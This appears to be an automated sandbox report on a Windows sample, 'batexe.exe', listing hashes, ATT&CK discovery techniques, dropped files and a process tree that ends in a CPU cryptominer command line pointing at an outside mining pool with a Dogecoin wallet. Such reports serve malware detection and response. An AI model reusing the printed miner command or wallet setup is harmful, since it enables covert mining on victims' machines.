73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
298s
max time network
297s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13-02-2024 05:44

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1732	b2e.exe
4816	cpuminer-sse2.exe

Loads dropped DLL 6 IoCs

pid	Process
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4812-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4812 wrote to memory of 1732	4812	batexe.exe	83
PID 4812 wrote to memory of 1732	4812	batexe.exe	83
PID 4812 wrote to memory of 1732	4812	batexe.exe	83
PID 1732 wrote to memory of 436	1732	b2e.exe	84
PID 1732 wrote to memory of 436	1732	b2e.exe	84
PID 1732 wrote to memory of 436	1732	b2e.exe	84
PID 436 wrote to memory of 4816	436	cmd.exe	87
PID 436 wrote to memory of 4816	436	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Users\Admin\AppData\Local\Temp\8CA0.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8CA0.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8CA0.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\92E9.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:436
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8CA0.tmp\b2e.exe

Filesize
128KB

MD5
272c54a9b6cdfa558e23cc257343048a

SHA1
7f26d86cf2a3625ce3e70c9cfc9b0cc075b8d5aa

SHA256
1d7e7ea2934d091cb7ab81c31e31b4015e05a9f86b213f9d78b0297c88fb3415

SHA512
5139de29262ba7091e5ab0529232912aea9ca34fdeb16165021d3ccaba1d351abc59f2130eaa6af8c3c0510db5f649095f7043ea837267dc9eb4ce0169fa18ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\8CA0.tmp\b2e.exe

Filesize
3.4MB

MD5
ddd936d7886403784096ea1afe95346a

SHA1
a3012560c687d10b4adfb3874c22d1b0c30d838a

SHA256
a0c83c21c36c6fe424c54db133a047aa2d72ad25e5a3a4784955c60da76d02df

SHA512
5cdba6259f78d97cfba2090d32960cd6acc30b0957b10efd34edd3528f20c3c4b0f303646d0c0bb8c8f8060fe19703a199c339ae12e7461568e6525e4ec6b676

Download Submit
C:\Users\Admin\AppData\Local\Temp\8CA0.tmp\b2e.exe

Filesize
3.0MB

MD5
b6472b96a630d8fd76249fc56e81a709

SHA1
add501c77fbd74b1fcc99eaa9a3e036c39778e6d

SHA256
a1bdf09684248907d3c8075552099ac22e09ba82b7ad73f9cb6fa92fecd06818

SHA512
7c571613353cbc843bf62e114c4162fff6a14f36895b22fc2f72cce0cb66892fd6a9e4eee89a6c485891474fb3c547f2501eb78c1f4f9a32f06819223262a21a

Download Submit
C:\Users\Admin\AppData\Local\Temp\92E9.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.1MB

MD5
974d8e7e74946132617ad01f9b067b8b

SHA1
ae26d5778b794b07efd9aad3eaa8cd2c683b4d20

SHA256
b47c60485e29e4f1dc09edd4df505219a8ab8a3e36fda02cf0adcf9f79d5d82f

SHA512
464a3149b264eeddfd15bd4ad7b167b42e0166c6e3b03096ad49a42eeeed3c446c506e64475804508f9bbe4e99955a437fb31393fa0f91ae164126d9fdc599b2

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
cc86481266998266992589d495c99896

SHA1
e805ede5477c20cf5d22b48192f5d5c8b65b92ff

SHA256
821cad4073a6aaf1e3b6ae3360c9733c6e8e6b2a8cadcd5fb7f04ef17cafca42

SHA512
a3b4dace858810e41a3effdfc24d5df695b3e6cf58de964423f28fc9ae0a98bb7a868f3243a7838ec820654146542f2653225ec5ba480b1d95d32bade5eb09d4

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
780KB

MD5
f8a5a1ff1f1940d9e3dff5a8a68ee423

SHA1
75301262e6231b1f35a734b5a7fa9790d6719ca4

SHA256
0a5cdb9bd5ffb37af5e3100a7178bdb70d83b12939779c10a87846d3beeba0ed

SHA512
9912c85c1dc7302855ea43b0712880c4181f12981f8c576fe253db83b92f46231ed4e7b4bac4b9af2cbac304cf887ba124a8e5c62fc023be568384b153a2bf2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
701566f375355cfcfbc914799780622a

SHA1
540dbf8dddfaa321532a1f01f354fd8af1a2cc2a

SHA256
7ea7185be527355176ceb66f86b0fb596a5a42c5317d16f11f1291d0ba29736f

SHA512
34084a404ebf3c18d66efe4bece341bcf16c5fdcd8a0ee5b470be3e89ecb517410b7098691d1cc347d1f1c378f4c8d51b745555596cb4882af03c2863b7f9002

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
2bbcb75e834089e470268a34185c930d

SHA1
356f833f405878fc4fd94bf8d9e042bc1b4ad376

SHA256
438f5a89485f63a9bca37358529921223ca4a2291a76ce294e783095f29858f5

SHA512
a1c95d4b9840a53999284c75eb145301bc8905dc9bcca526e3bcf89fa554fedee8e8ed4a3ced2717401039e5fd0f866bd482c679ae7b8f00feb7ca00263bc9cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
ef9502008fbd335d836397c3f1098662

SHA1
8a86698f0b592c61c30d953b9cd1a523ecae01c1

SHA256
7ed2ae85755e31379aec34024ae73c69d0a4c5882dcc047222f79eff3b2926b2

SHA512
33cacb438827402fcd0757175e9d970bbba6ffb9167ff260e9aad251cc8db677def6f033439d211164e3d4ed5202b06f7cf17781f9b966a807a548bf5999487c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
c70d9ca670a4713543dc6cd764a87673

SHA1
bcc3f61e6e35c8a49eb6dee93a129c6c823adb2a

SHA256
203351e935138a86c7ec5f9193f5b3307fc031755783b2037454d70ad5e1b03a

SHA512
598c43313e3b4b721f2f1dc7b93818f20101cc215ffba6c6995a933433a7f8ed1dd4b16f2aa4307cbd261440c34e8894bfe93f8c6aa44f91081f3e72a11a47f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1732-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1732-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4812-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4816-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4816-48-0x0000000000F40000-0x0000000000FFC000-memory.dmp

Filesize
752KB

Download
memory/4816-47-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/4816-49-0x0000000001000000-0x0000000001098000-memory.dmp

Filesize
608KB

Download
memory/4816-50-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-41-0x0000000000F40000-0x0000000000FFC000-memory.dmp

Filesize
752KB

Download
memory/4816-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-106-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download